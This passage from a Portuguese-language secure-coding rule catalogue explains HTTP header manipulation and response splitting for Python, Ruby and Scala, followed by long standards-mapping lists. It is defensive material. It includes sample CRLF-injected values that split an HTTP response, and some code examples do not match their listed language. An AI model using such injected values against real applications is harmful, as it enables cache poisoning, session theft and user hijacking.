[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.python.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: Este segmento de código lê o nome do autor de um blog, author, a partir de uma solicitação HTTP e o usa em uma solicitação GET em outra parte do site.


author = req.params[AUTHOR_PARAM]
http = Net::HTTP.new(URI("http://www.mysite.com"))
http.post('/index.php', "author=#{author}")


Supondo que uma cadeia composta por caracteres alfanuméricos, como "Jane Smith", seja enviada na solicitação, a resposta HTTP pode assumir esta forma:


POST /index.php HTTP/1.1
Host: www.mysite.com
author=Jane Smith
...


No entanto, uma vez que o valor da URL é formado por entradas de usuário inválidas, a resposta só manterá esta forma se o valor enviado para AUTHOR_PARAM não contiver quaisquer caracteres CR e LF. Se um invasor enviar uma cadeia maliciosa, como "Wiley Hacker\r\nPOST /index.php HTTP/1.1\r\n...", então a resposta HTTP seria dividida em duas respostas neste formato:


POST /index.php HTTP/1.1
Host: www.mysite.com
author=Wiley Hacker

POST /index.php HTTP/1.1
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se a resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo malicioso até que a entrada de cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 113
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.ruby.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation ou open redirect.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, o Play Framework lançará uma exceção se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impedir a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não será vulnerável à HTTP Response Splitting. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Cookie Manipulation ou Open Redirects e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.scala.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.


2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (alimentação de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir considera que name e value podem ser controlados por um invasor. O código define um cabeçalho HTTP cujo nome e valor podem ser controlados por um invasor:


...
var headers = []
headers[name] = value
let config = NSURLSessionConfiguration.backgroundSessionConfigurationWithIdentifier("com.acme")
config.HTTPAdditionalHeaders = headers
...


Considerando um par de nome/valor que consiste em author e Jane Smith, a resposta HTTP que inclui esse cabeçalho pode ter o seguinte formato:


HTTP/1.1 200 OK
...
author:Jane Smith
...


No entanto, como o valor do cabeçalho é formado com base na entrada de usuário não validada, um invasor pode enviar um par de nome/valor mal-intencionado, como HTTP/1.1 200 OK\r\n...foo e bar, e a resposta HTTP seria dividida em duas respostas no seguinte formato:


HTTP/1.1 200 OK
...

HTTP/1.1 200 OK
...
foo:bar


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
